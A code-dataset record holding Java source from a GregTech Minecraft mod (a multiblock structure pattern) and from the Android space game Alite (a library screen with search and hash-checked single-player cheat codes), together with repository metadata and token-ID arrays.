.aisle("XXXXX", "#P#P#", "#P#P#", "#P#P#", "XXXXX")
.aisle("XXXXX", "PCGCP", "PCGCP", "PCGCP", "XXXXX")
.aisle("XXXXX", "#pUp#", "#psp#", "#pUp#", "XGGGX")
.aisle("XXXXX", "#pcp#", "#FEF#", "#pcp#", "XGGGX")
.aisle("XXXXX", "#pcp#", "#FEF#", "#pcp#", "XGGGX")
.aisle("XXXXX", "#pUp#", "#psp#", "#pUp#", "XGGGX")
.aisle("XXXXX", "PCGCP", "PCGCP", "PCGCP", "XXXXX")
.aisle("XXSXX", "#P#P#", "#P#P#", "#P#P#", "XXXXX")
.setAmountAtLeast('L', 10)
.where('S', selfPredicate())
.where('L', statePredicate(getCasingState()))
.where('X', statePredicate(getCasingState()).or(abilityPartPredicate(ALLOWED_ABILITIES)))
.where('C', statePredicate(getCasingState()))
.where('P', statePredicate(GAMetaBlocks.MUTLIBLOCK_CASING.getState(GAMultiblockCasing.CasingType.PTFE_PIPE)))
.where('p', statePredicate(MetaBlocks.BOILER_CASING.getState(BlockBoilerCasing.BoilerCasingType.TUNGSTENSTEEL_PIPE)))
.where('G', statePredicate(MetaBlocks.MUTLIBLOCK_CASING.getState(BlockMultiblockCasing.MultiblockCasingType.GRATE_CASING)))
.where('c', statePredicate(MetaBlocks.WIRE_COIL.getState(BlockWireCoil.CoilType.SUPERCONDUCTOR)))
.where('F', fieldGenPredicate())
.where('U', pumpPredicate())
.where('s', sensorPredicate())
.where('E', emitterPredicate())
.where('A', isAirPredicate())
.where('#', (tile) -> true)
.build();
}
private static final IBlockState defaultCasingState = GAMetaBlocks.METAL_CASING_2.getState(MetalCasing2.CasingType.TRITANIUM);
public static final IBlockState casingState = CasingUtils.getConfigCasingBlockState(GAConfig.multis.largeMassFabricator.casingMaterial, defaultCasingState);
public IBlockState getCasingState() {
return casingState;
}
@Override
public ICubeRenderer getBaseTexture(IMultiblockPart sourcePart) {
return CasingUtils.getConfigCasingTexture(GAConfig.multis.largeMassFabricator.casingMaterial, ClientHandler.TRITANIUM_CASING);
}
@Override
protected void formStructure(PatternMatchContext context) {
super.formStructure(context);
FieldGenCasing.CasingType fieldGen = context.getOrDefault("FieldGen", FieldGenCasing.CasingType.FIELD_GENERATOR_LV);
PumpCasing.CasingType pump = context.getOrDefault("Pump", PumpCasing.CasingType.PUMP_LV);
SensorCasing.CasingType sensor = context.getOrDefault("Sensor", SensorCasing.CasingType.SENSOR_LV);
EmitterCasing.CasingType emitter = context.getOrDefault("Emitter", EmitterCasing.CasingType.EMITTER_LV);
int min1 = Math.min(fieldGen.getTier(), pump.getTier());
int min2 = Math.min(sensor.getTier(), emitter.getTier());
int min = Math.min(min1, min2);
maxVoltage = (long) (Math.pow(4, min) * 8);
}
@Nonnull
@Override
protected OrientedOverlayRenderer getFrontOverlay() {
return ClientHandler.MASS_FAB_OVERLAY;
}
}
| 5,714
|
Java
|
.java
|
GregTechCEu/gregicality-legacy
| 42
| 58
| 4
|
2020-05-18T17:28:22Z
|
2022-05-28T13:38:31Z
|
76b7d5301defdd2123d1f9bbd0a1e8bd98c381267570f3a3b77d4c1785d0e09a
|
[
1337,
504,
1604,
314,
688,
7628,
51,
20894,
51,
6870,
51,
37700,
6319,
64,
222,
222,
485,
504,
1604,
314,
688,
7628,
51,
11488,
1081,
64,
222,
485,
504,
1604,
314,
688,
7628,
51,
25214,
51,
76,
1604,
314,
1121,
7628,
17645,
64,
222,
485,
504,
1604,
314,
688,
7628,
51,
1598,
51,
1503,
1985,
64,
222,
485,
504,
1604,
314,
688,
7628,
51,
1113,
51,
76,
2229,
2303,
11381,
64,
222,
485,
504,
1604,
314,
688,
7628,
51,
1113,
51,
76,
2229,
474,
947,
827,
72,
9982,
64,
222,
485,
504,
1604,
314,
688,
7628,
51,
1113,
51,
3545,
7737,
222,
485,
504,
1604,
314,
688,
7628,
51,
1113,
51,
23188,
51,
35145,
72,
9982,
55,
64,
222,
485,
504,
1604,
314,
688,
7628,
51,
20894,
51,
6870,
51,
72,
9982,
2769,
64,
222,
485,
504,
1604,
314,
688,
7628,
51,
20894,
51,
6870,
51,
6681,
51,
16135,
5302,
16262,
1225,
11253,
947,
827,
1934,
64,
222,
485,
504,
1604,
314,
688,
7628,
51,
27891,
51,
11488,
16262,
15938,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
2580,
6796,
2244,
51,
4247,
41760,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
2580,
6796,
2244,
51,
4247,
41760,
6773,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
2580,
6796,
2244,
51,
7758,
947,
827,
51,
2348,
474,
947,
827,
2655,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
2580,
6796,
2244,
51,
7758,
947,
827,
51,
11253,
947,
827,
22130,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
7758,
947,
827,
51,
2246,
5526,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
7758,
947,
827,
51,
2232,
2246,
5526,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
7758,
947,
827,
51,
5526,
3683,
1237,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
27891,
51,
16262,
1225,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
3183,
51,
1122,
3514,
6470,
64,
222,
485,
504,
1604,
6646,
51,
1256,
51,
3183,
51,
44079,
12277,
6470,
64,
222,
485,
504,
1604,
6646,
51,
2297,
51,
8597,
51,
2246,
5558,
3113,
72,
9982,
64,
222,
485,
504,
1604,
6646,
51,
2297,
51,
8597,
51,
2246,
11253,
947,
827,
72,
9982,
64,
222,
485,
504,
1604,
6646,
51,
2297,
51,
8597,
51,
2246,
13354,
2253,
354,
64,
222,
485,
504,
1604,
6646,
51,
2297,
51,
8597,
51,
4247,
11381,
64,
222,
485,
3723,
51,
8654,
51,
1540,
51,
1311,
51,
78,
30514,
64,
222,
485,
3723,
51,
8654,
51,
1058,
51,
2305,
2941,
64,
222,
222,
485,
3698,
51,
4341,
51,
13438,
64,
222,
222,
942,
462,
18891,
2234,
16135,
15673,
27968,
738,
2041,
31656,
5302,
16262,
1225,
11253,
947,
827,
1934,
320,
465,
964,
924,
1175,
18514,
947,
827,
22130,
11667,
1197,
41212,
1363,
100,
1336,
1484,
33412,
299,
320,
343,
18514,
947,
827,
22130,
51,
13555,
100,
38833,
49,
18514,
947,
827,
22130,
51,
13555,
100,
3329,
3744,
88,
49,
343,
18514,
947,
827,
22130,
51,
10673,
100,
3329,
3744,
88,
49,
18514,
947,
827,
22130,
51,
10834,
100,
16016,
15063,
49,
343,
590,
1604,
314,
1121,
7628,
17645,
51,
1418,
43290,
6316,
100,
77,
6544,
303,
1487,
465,
581,
18891,
2234,
16135,
15673,
27968,
738,
45,
2305,
2941,
6096,
8079,
38646,
49,
30750,
1225,
11667,
15213,
1225,
46,
320,
310,
2615,
45,
2874,
8079,
38646,
49,
15213,
1225,
49,
419,
42182,
1081,
51,
41017,
51,
9397,
15673,
27968,
738,
51,
11094,
18249,
49,
419,
42182,
1081,
51,
41017,
51,
9397,
15673,
27968,
738,
51,
6983,
18249,
49,
419,
42182,
1081,
51,
41017,
51,
9397,
15673,
27968,
738,
51,
399,
6104,
25572,
18249,
49,
419,
42182,
1081,
51,
41017,
51,
9397,
15673,
27968,
738,
51,
3056,
312,
303,
339,
465,
581,
11990,
41760,
1506,
4247,
41760,
45,
4247,
41760,
6773,
15655,
46,
320,
310,
461,
556,
18891,
2234,
16135,
15673,
27968,
738,
45,
597,
51,
2874,
8079,
38646,
49,
42182,
16262,
15938,
51,
82,
3316,
100,
48931,
100,
6770,
2046,
959,
312,
303,
339,
465,
496,
1806,
303,
2532,
6579,
5526,
1506,
8648,
5526,
365,
320,
310,
461,
15590,
2246,
5526,
51,
1384,
365,
419,
657,
8161,
293,
459,
2931,
9787,
411,
5126,
85,
40,
85,
40,
411,
5126,
85,
40,
85,
40,
411,
5126,
85,
40,
85,
40,
411,
332,
2931,
9787,
678,
419,
657,
8161,
293,
459,
2931,
9787,
411,
332,
3446,
36597,
411,
332,
3446,
36597,
411,
332,
3446,
36597,
411,
332,
2931,
9787,
678,
419,
657,
8161,
293,
459,
2931,
9787,
411,
5126,
117,
1405,
40,
411,
5126,
117,
438,
40,
411,
5126,
117,
1405,
40,
411,
332,
93,
10655,
29168,
678,
419,
657,
8161,
293,
459,
2931,
9787,
411,
5126,
1982,
117,
40,
411,
5126,
4683,
75,
40,
411,
5126,
1982,
117,
40,
411,
332,
93,
10655,
29168,
678,
419,
657,
8161,
293,
459,
2931,
9787,
411,
5126,
1982,
117,
40,
411,
5126,
4683,
75,
40,
411,
5126,
1982,
117,
40,
411,
332,
93,
10655,
29168,
678,
419,
657,
8161,
293,
459,
2931,
9787,
411,
5126,
117,
1405,
40,
411,
5126,
117,
438,
40,
411,
5126,
117,
1405,
40,
411,
332,
93,
10655,
29168,
678,
419,
657,
8161,
293,
459,
2931,
9787,
411,
332,
3446,
36597,
411,
332,
3446,
36597,
411,
332,
3446,
36597,
411,
332,
2931,
9787,
678,
419,
657,
8161,
293,
459,
2931,
88,
2931,
411,
5126,
85,
40,
85,
40,
411,
5126,
85,
40,
85,
40,
411,
5126,
85,
40,
85,
40,
411,
332,
2931,
9787,
678,
419,
657,
489,
5956,
1094,
31431,
482,
81,
389,
244,
54,
53,
46,
419,
657,
2786,
482,
88,
389,
649,
12690,
1177,
419,
657,
2786,
482,
81,
389,
1621,
12690,
45,
11641,
9982,
1095,
5183,
419,
657,
2786,
482,
93,
389,
1621,
12690,
45,
11641,
9982,
1095,
4269,
290,
45,
3478,
2655,
12690,
45,
33851,
100,
1336,
1484,
33412,
2636,
419,
657,
2786,
482,
72,
389,
1621,
12690,
45,
11641,
9982,
1095,
5183,
419,
657,
2786,
482,
85,
389,
1621,
12690,
45,
76,
2229,
2303,
11381,
51,
27280,
7654,
5364,
100,
37221,
1410,
51,
19701,
45,
76,
2229,
474,
947,
827,
72,
9982,
51,
72,
9982,
638,
51,
3674,
4683,
100,
18192,
2636,
419,
657,
2786,
482,
117,
389,
1621,
12690,
45,
4247,
11381,
51,
3199,
1484,
546,
100,
37221,
1410,
51,
19701,
45,
2246,
5558,
3113,
72,
9982,
51,
5558,
3113,
72,
9982,
638,
51,
89,
47084,
654,
737,
24047,
2165,
100,
18192,
2636,
419,
657,
2786,
482,
76,
389,
1621,
12690,
45,
4247,
11381,
51,
27280,
7654,
5364,
100,
37221,
1410,
51,
19701,
45,
2246,
11253,
947,
827,
72,
9982,
51,
11253,
947,
827,
72,
9982,
638,
51,
4290,
1775,
100,
37221,
1410,
2636,
419,
657,
2786,
482,
104,
389,
1621,
12690,
45,
4247,
11381,
51,
6620,
632,
100,
1213,
1484,
51,
19701,
45,
2246,
13354,
2253,
354,
51,
2253,
354,
638,
51,
34842,
1742,
13283,
776,
2636,
419,
657,
2786,
482,
75,
389,
1620,
5154,
12690,
1177,
419,
657,
2786,
482,
90,
389,
39974,
12690,
1177,
419,
657,
2786,
482,
120,
389,
11556,
12690,
1177,
419,
657,
2786,
482,
74,
389,
30407,
12690,
1177,
419,
657,
2786,
482,
70,
389,
458,
14493,
12690,
1177,
419,
657,
2786,
3625,
389,
327,
8344,
46,
984,
878,
46,
419,
657,
1848,
492,
303,
339,
465,
964,
924,
1175,
457,
30514,
1263,
72,
9982,
1095,
299,
590,
2229,
2303,
11381,
51,
18315,
744,
100,
37221,
1410,
100,
55,
51,
19701,
45,
35145,
72,
9982,
55,
51,
72,
9982,
638,
51,
1328,
799,
946,
34236,
312,
303,
581,
924,
1175,
457,
30514,
300,
9982,
1095,
299,
409,
9982,
2769,
51,
21431,
72,
9982,
30514,
45,
11488,
1081,
51,
41017,
51,
9397,
15673,
27968,
738,
51,
104,
9982,
6347,
49,
1263,
72,
9982,
1095,
312,
4054,
581,
457,
30514,
38941,
9982,
1095,
365,
320,
310,
461,
300,
9982,
1095,
64,
303,
339,
465,
496,
1806,
303,
581,
16398,
3514,
6470,
640,
1778,
4900,
45,
2348,
474,
947,
827,
2655,
1932,
2655,
46,
320,
310,
461,
409,
9982,
2769,
51,
21431,
72,
9982,
4900,
45,
11488,
1081,
51,
41017,
51,
9397,
15673,
27968,
738,
51,
104,
9982,
6347,
49,
5680,
1985,
51,
1328,
799,
946,
34236,
100,
37221,
1410,
312,
303,
339,
465,
496,
1806,
303,
2532,
782,
2252,
8648,
45,
5526,
3683,
1237,
1637,
46,
320,
310,
2615,
51,
618,
8648,
45,
1834,
312,
310,
5697,
5154,
72,
9982,
51,
72,
9982,
638,
1620,
5154,
299,
1637,
51,
390,
13637,
459,
1195,
5154,
411,
5697,
5154,
72,
9982,
51,
72,
9982,
638,
51,
6457,
100,
12436,
7275,
100,
20740,
312,
310,
466,
2311,
72,
9982,
51,
72,
9982,
638,
39974,
299,
1637,
51,
390,
13637,
459,
35953,
411,
466,
2311,
72,
9982,
51,
72,
9982,
638,
51,
5022,
1471,
100,
20740,
312,
310,
21982,
72,
9982,
51,
72,
9982,
638,
11556,
299,
1637,
51,
390,
13637,
459,
11813,
411,
21982,
72,
9982,
51,
72,
9982,
638,
51,
33593,
100,
20740,
312,
310,
22731,
410,
72,
9982,
51,
72,
9982,
638,
30407,
299,
1637,
51,
390,
13637,
459,
13931,
411,
22731,
410,
72,
9982,
51,
72,
9982,
638,
51,
4565,
799,
2933,
100,
20740,
312,
310,
648,
1865,
54,
299,
4189,
51,
907,
45,
1512,
5154,
51,
390,
28998,
1046,
39974,
51,
390,
28998,
1052,
310,
648,
1865,
55,
299,
4189,
51,
907,
45,
12625,
51,
390,
28998,
1046,
30407,
51,
390,
28998,
1052,
310,
648,
1865,
299,
4189,
51,
907,
45,
907,
54,
49,
1865,
55,
312,
310,
1788,
38927,
299,
327,
3239,
46,
327,
5728,
51,
7555,
45,
57,
49,
1865,
46,
338,
244,
61,
312,
303,
339,
465,
496,
13438,
303,
496,
1806,
303,
2532,
27728,
337,
12277,
6470,
640,
10108,
12277,
365,
320,
310,
461,
5680,
1985,
51,
82,
3316,
100,
48931,
100,
9425,
9664,
64,
303,
339,
222,
130,
222
] |
[
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1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
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1
]
] | 1,612
| true
| 70.80854
| true
| true
|
LibraryScreen.java
|
/FileExtraction/Java_unseen/CmdrStardust_Alite/src/de/phbouillon/android/games/alite/screens/canvas/LibraryScreen.java
|
package de.phbouillon.android.games.alite.screens.canvas;
/* Alite - Discover the Universe on your Favorite Android Device
* Copyright (C) 2015 Philipp Bouillon
*
* This program is free software: you can redistribute it and/or modify
* it under the terms of the GNU General Public License as published by
* the Free Software Foundation, version 3 of the License, or
* any later version.
*
* This program is distributed in the hope that it will be useful and
* fun, but WITHOUT ANY WARRANTY; without even the implied warranty of
* MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
* GNU General Public License for more details.
*
* You should have received a copy of the GNU General Public License
* along with this program. If not, see
* http://http://www.gnu.org/licenses/gpl-3.0.txt.
*/
import java.io.DataInputStream;
import java.io.DataOutputStream;
import java.io.IOException;
import java.util.ArrayList;
import java.util.List;
import java.util.Locale;
import android.graphics.Color;
import de.phbouillon.android.framework.Game;
import de.phbouillon.android.framework.Graphics;
import de.phbouillon.android.framework.Input.TouchEvent;
import de.phbouillon.android.framework.Pixmap;
import de.phbouillon.android.games.alite.Alite;
import de.phbouillon.android.games.alite.AliteLog;
import de.phbouillon.android.games.alite.Assets;
import de.phbouillon.android.games.alite.Button;
import de.phbouillon.android.games.alite.Button.TextPosition;
import de.phbouillon.android.games.alite.ScreenCodes;
import de.phbouillon.android.games.alite.Settings;
import de.phbouillon.android.games.alite.SoundManager;
import de.phbouillon.android.games.alite.colors.AliteColors;
import de.phbouillon.android.games.alite.model.library.LibraryPage;
import de.phbouillon.android.games.alite.model.library.Toc;
import de.phbouillon.android.games.alite.model.library.TocEntry;
import de.phbouillon.android.games.alite.screens.NavigationBar;
import de.phbouillon.android.games.alite.screens.canvas.options.OptionsScreen;
//This screen never needs to be serialized, as it is not part of the InGame state.
@SuppressWarnings("serial")
public class LibraryScreen extends AliteScreen {
private final List <Button> button = new ArrayList<Button>();
private final List <TocEntryData> entries = new ArrayList<TocEntryData>();
private final List <TocEntryData> filteredEntries = new ArrayList<TocEntryData>();
private Pixmap buttonBackground;
private Pixmap buttonBackgroundPushed;
private Pixmap searchIcon;
private Button searchButton;
private int yPosition = 0;
private int startY;
private int startX;
private int lastY;
private int maxY;
private float deltaY = 0.0f;
private String currentFilter = null;
private class TocEntryData {
TocEntry entry;
int level;
TocEntryData(TocEntry entry, int level) {
this.entry = entry;
this.level = level;
}
}
public LibraryScreen(Game game, String currentFilter) {
super(game);
this.currentFilter = currentFilter;
}
@Override
public void activate() {
searchButton = new Button(1375, 980, 320, 100, "Search", Assets.regularFont, null);
searchButton.setTextPosition(TextPosition.RIGHT);
searchButton.setGradient(true);
searchButton.setPixmap(searchIcon);
try {
button.clear();
entries.clear();
filteredEntries.clear();
Toc toc = Toc.read(game.getFileIO().readPrivateFile("library/toc.xml"), game.getFileIO());
buildTocButtons(toc.getEntries(), 0);
if (currentFilter != null) {
filter();
}
Button last = button.get(button.size() - 1);
maxY = last.getY() + last.getHeight() - 870;
if (maxY < 0) {
maxY = 0;
}
} catch (IOException e) {
AliteLog.e("[ALITE] Library", "Error reading Library TOC file.", e);
}
}
public static boolean initialize(Alite alite, DataInputStream dis) {
try {
int len = dis.readInt();
String filter = null;
if (len > 0) {
filter = "";
for (int i = 0; i < len; i++) {
filter += dis.readChar();
}
}
LibraryScreen ls = new LibraryScreen(alite, filter);
ls.yPosition = dis.readInt();
alite.setScreen(ls);
} catch (Exception e) {
AliteLog.e("Library Screen Initialize", "Error in initializer.", e);
return false;
}
return true;
}
@Override
public void saveScreenState(DataOutputStream dos) throws IOException {
dos.writeInt(currentFilter == null ? 0 : currentFilter.length());
if (currentFilter != null) {
dos.writeChars(currentFilter);
}
dos.writeInt(yPosition);
}
private void filter() {
filteredEntries.clear();
button.clear();
for (TocEntryData entry : entries) {
LibraryPage libPage = entry.entry.getLinkedPage();
if (libPage != null) {
String[] highlights = currentFilter.toLowerCase(Locale.getDefault()).split(" ");
String paragraph = libPage.getParagraphs();
if (paragraph != null) {
paragraph = paragraph.toLowerCase(Locale.getDefault());
for (String h : highlights) {
if (paragraph.contains(h)) {
filteredEntries.add(entry);
break;
}
}
}
}
}
if (!filteredEntries.isEmpty()) {
Alite.setDefiningScreen(this);
buildTocButtons(filteredEntries.toArray(new TocEntryData[0]));
}
}
private boolean checkCheat(String text) {
Alite alite = (Alite) game;
String hash = alite.getFileUtils().computeSHAString(text);
boolean messageSet = false;
if ("3a6d64c24cf8b69ccda376546467e8266667b50cfd0b984beb3651b129ed7".equals(hash) ||
"53b1fb446230b347c3f6406cca4b1ddbac60905ba4ab1977179f44b8fb134447".equals(hash)) {
setMessage("Sorry, " + text + " does not work here, anymore.");
messageSet = true;
} else if ("d2a66247a6fad77347b676dedf6755cedbfbf8aef67cae4dc18ba53346577b5".equals(hash) ||
"d3d291ec78221333acf4d79084efe49cebb42fc01ce9c681315745c50e1".equals(hash)) {
setMessage("No, " + text + " does not work here, either. Sorry.");
messageSet = true;
} else if ("5be5a31d90d073e11bd2362aa2336b7e902ea46dada1ec282ae6f4759a4d31ee".equals(hash)) {
alite.activateHacker();
setMessage("Hacker activated.");
messageSet = true;
alite.getPlayer().setCheater(true);
} else if ("6efe6cb9668dc015e79a8bf751b543de841f1e824dd4f42c59d80f39a0bd61".equals(hash)) {
Settings.shieldPowerOverride = 40;
setMessage("Shield Power Booster activated.");
messageSet = true;
alite.getPlayer().setCheater(true);
} else if ("67e082893e848c8706431c32dea6c3ca86c488ae24ee6b0661489cb8b3bb78a".equals(hash)) {
Settings.unlimitedFuel = true;
setMessage("Hyperdrive Booster activated.");
messageSet = true;
alite.getPlayer().setCheater(true);
} else if ("dbadfc88144bc153a2d1bdf154681c857a237eb79d58df24e918bca6e17db5".equals(hash)) {
Settings.laserPowerOverride = 15;
setMessage("Laser Power Booster activated.");
messageSet = true;
alite.getPlayer().setCheater(true);
} else if ("86cc9b0303fd0b29a61b4b5a0fa78bb5c5fd64aa7346fb35267bcfe5f41".equals(hash)) {
Settings.laserPowerOverride = 5000;
setMessage("Maximum Laser Power.");
messageSet = true;
alite.getPlayer().setCheater(true);
} else if ("87ad16d301e439a57c6296968f1ebbd889d4a5cf58bd0bf1dc97d4259803af8".equals(hash)) {
Settings.invulnerable = true;
setMessage("Maximum Shield Power.");
messageSet = true;
alite.getPlayer().setCheater(true);
} else if ("3152a173cfd3efe739ba51b84937173cf3380fd6d39e49fb92623caa131b4f6".equals(hash)) {
Settings.freePath = true;
setMessage("Clear Path Ahead.");
messageSet = true;
alite.getPlayer().setCheater(true);
} else if ("8f9adc99291f20b6f4d91c2a4b6b834477b422c8e3d78b8f481c88f619694".equals(hash)) {
OptionsScreen.SHOW_DEBUG_MENU = true;
setMessage("The Master Control Program is at your service.");
messageSet = true;
alite.getPlayer().setCheater(true);
}
return messageSet;
}
private void performSearch() {
newScreen = new TextInputScreen(game, "Search Library", "Enter search text", "", this, new TextCallback() {
@Override
public void onOk(String text) {
currentFilter = text;
boolean messageSet = checkCheat(text);
filteredEntries.clear();
yPosition = 0;
deltaY = 0;
button.clear();
if (!text.trim().isEmpty()) {
filter();
} else {
currentFilter = null;
}
if (filteredEntries.isEmpty()) {
if (!messageSet) {
setMessage("No results found.");
}
currentFilter = null;
Alite.setDefiningScreen(LibraryScreen.this);
buildTocButtons(entries.toArray(new TocEntryData[0]));
}
}
@Override
public void onCancel() {
}
});
}
@Override
protected void processTouch(TouchEvent touch) {
super.processTouch(touch);
if (getMessage() != null) {
return;
}
if (touch.type == TouchEvent.TOUCH_DOWN && touch.pointer == 0) {
startX = touch.x;
startY = lastY = touch.y;
deltaY = 0;
}
if (touch.type == TouchEvent.TOUCH_DRAGGED && touch.pointer == 0) {
if (touch.x > (1920 - NavigationBar.SIZE)) {
return;
}
yPosition += lastY - touch.y;
if (yPosition < 0) {
yPosition = 0;
}
if (yPosition > maxY) {
yPosition = maxY;
}
lastY = touch.y;
}
if (touch.type == TouchEvent.TOUCH_UP && touch.pointer == 0) {
if (touch.x > (1920 - NavigationBar.SIZE)) {
return;
}
if (Math.abs(startX - touch.x) < 20 &&
Math.abs(startY - touch.y) < 20) {
if (searchButton.isTouched(touch.x, touch.y)) {
SoundManager.play(Assets.click);
performSearch();
} else if (touch.y > 79) {
int index = 0;
for (Button b: button) {
if (b.isTouched(touch.x, touch.y)) {
newScreen = new LibraryPageScreen(game, currentFilter == null ? entries.get(index).entry : filteredEntries.get(index).entry, currentFilter);
SoundManager.play(Assets.click);
}
index++;
}
}
}
}
if (touch.type == TouchEvent.TOUCH_SWEEP && touch.x < (1920 - NavigationBar.SIZE)) {
deltaY = touch.y2;
}
}
private final void buildTocButtons(TocEntry [] entries, int level) {
if (entries == null) {
return;
}
for (TocEntry entry: entries) {
Button b = new Button(20 + level * 100, 80 + button.size() * 140, 1680 - level * 100, 120, buttonBackground);
b.setPushedBackground(buttonBackgroundPushed);
if (level != 0) {
b.setButtonEnd(50);
}
button.add(b);
this.entries.add(new TocEntryData(entry, level));
b.setText("");
b.setFont(Assets.regularFont);
b.setUseBorder(false);
buildTocButtons(entry.getChildren(), level + 1);
}
}
private final void buildTocButtons(TocEntryData [] entries) {
if (entries == null) {
return;
}
for (TocEntryData entry: entries) {
Button b = new Button(20 + entry.level * 100, 80 + button.size() * 140, 1680 - entry.level * 100, 120, buttonBackground);
b.setPushedBackground(buttonBackgroundPushed);
if (entry.level != 0) {
b.setButtonEnd(50);
}
button.add(b);
b.setText("");
b.setFont(Assets.regularFont);
b.setUseBorder(false);
}
}
@Override
public void present(float deltaTime) {
if (disposed) {
return;
}
Graphics g = game.getGraphics();
g.clear(Color.BLACK);
displayTitle("Library");
searchButton.render(g);
if (deltaY != 0) {
boolean neg = deltaY < 0;
deltaY += deltaY > 0 ? -8.0f * deltaTime : deltaY < 0 ? 8.0f * deltaTime : 0;
if (neg && deltaY > 0 || !neg && deltaY < 0) {
deltaY = 0;
}
yPosition -= deltaY;
if (yPosition < 0) {
yPosition = 0;
}
if (yPosition > maxY) {
yPosition = maxY;
}
}
g.setClip(0, 100, -1, 1000);
for (int i = 0, n = button.size(); i < n; i++) {
Button b = button.get(i);
TocEntryData ted = currentFilter == null ? entries.get(i) : filteredEntries.get(i);
b.setYOffset(-yPosition);
b.render(g);
g.drawText(ted.entry.getName(), 50 + ted.level * 100, 150 - yPosition + i * 140, AliteColors.get().baseInformation(), Assets.regularFont);
}
g.setClip(-1, -1, -1, -1);
}
@Override
public void dispose() {
super.dispose();
if (buttonBackground != null) {
buttonBackground.dispose();
buttonBackground = null;
}
if (searchIcon != null) {
searchIcon.dispose();
searchIcon = null;
}
if (buttonBackgroundPushed != null) {
buttonBackgroundPushed.dispose();
buttonBackgroundPushed = null;
}
}
@Override
public void loadAssets() {
buttonBackground = game.getGraphics().newPixmap("catalog_button.png", true);
searchIcon = game.getGraphics().newPixmap("search_icon.png", true);
buttonBackgroundPushed = game.getGraphics().newPixmap("catalog_button_pushed.png", true);
super.loadAssets();
}
@Override
public void pause() {
super.pause();
}
@Override
public void resume() {
super.resume();
}
@Override
public int getScreenCode() {
return ScreenCodes.LIBRARY_SCREEN;
}
}
| 12,829
|
Java
|
.java
|
CmdrStardust/Alite
| 45
| 14
| 3
|
2015-09-11T22:02:53Z
|
2019-05-11T21:19:35Z
|
d30deab199a63c993839493e1da094030b56c8be91d762befa6934b4b38d92a5
|
[
1337,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
36194,
51,
8046,
64,
222,
222,
1127,
2770,
676,
449,
3664,
4120,
341,
1703,
18046,
563,
1390,
525,
13113,
8107,
9151,
222,
338,
2657,
327,
72,
46,
244,
55,
53,
54,
58,
35769,
4426,
570,
663,
747,
286,
222,
338,
1676,
338,
1369,
3477,
458,
3760,
2951,
63,
863,
902,
14081,
580,
480,
52,
290,
5370,
222,
338,
580,
1549,
341,
5974,
451,
341,
6994,
6153,
5062,
1196,
641,
9582,
829,
222,
338,
341,
7834,
3870,
7120,
49,
1522,
244,
56,
451,
341,
1196,
49,
575,
222,
338,
1364,
6146,
1522,
51,
222,
338,
222,
338,
1369,
3477,
458,
2744,
347,
341,
9850,
708,
580,
1118,
545,
6386,
480,
222,
338,
3350,
49,
1294,
4213,
2979,
9345,
64,
2895,
4462,
341,
4506,
14319,
451,
222,
338,
7934,
575,
8114,
4800,
418,
7848,
7763,
51,
244,
2819,
341,
222,
338,
6994,
6153,
5062,
1196,
456,
1851,
4261,
51,
222,
338,
222,
338,
2469,
1414,
1178,
6589,
331,
1948,
451,
341,
6994,
6153,
5062,
1196,
222,
338,
7979,
642,
477,
3477,
51,
244,
1691,
666,
49,
2337,
222,
338,
1930,
574,
544,
574,
1516,
51,
10627,
51,
1107,
52,
4205,
52,
43817,
50,
56,
51,
53,
51,
2787,
51,
222,
588,
222,
222,
485,
1401,
51,
735,
51,
768,
6989,
64,
222,
485,
1401,
51,
735,
51,
768,
8783,
64,
222,
485,
1401,
51,
735,
51,
6860,
64,
222,
485,
1401,
51,
1058,
51,
7119,
64,
222,
485,
1401,
51,
1058,
51,
739,
64,
222,
485,
1401,
51,
1058,
51,
9459,
64,
222,
222,
485,
2616,
51,
7027,
51,
1530,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
2863,
51,
3783,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
2863,
51,
8524,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
2863,
51,
1630,
51,
10464,
1167,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
2863,
51,
44005,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
1523,
676,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
1523,
676,
1353,
64,
222,
485,
428,
51,
853,
103,
663,
747,
286,
51,
4048,
51,
17793,
51,
298,
676,
51,
14016,
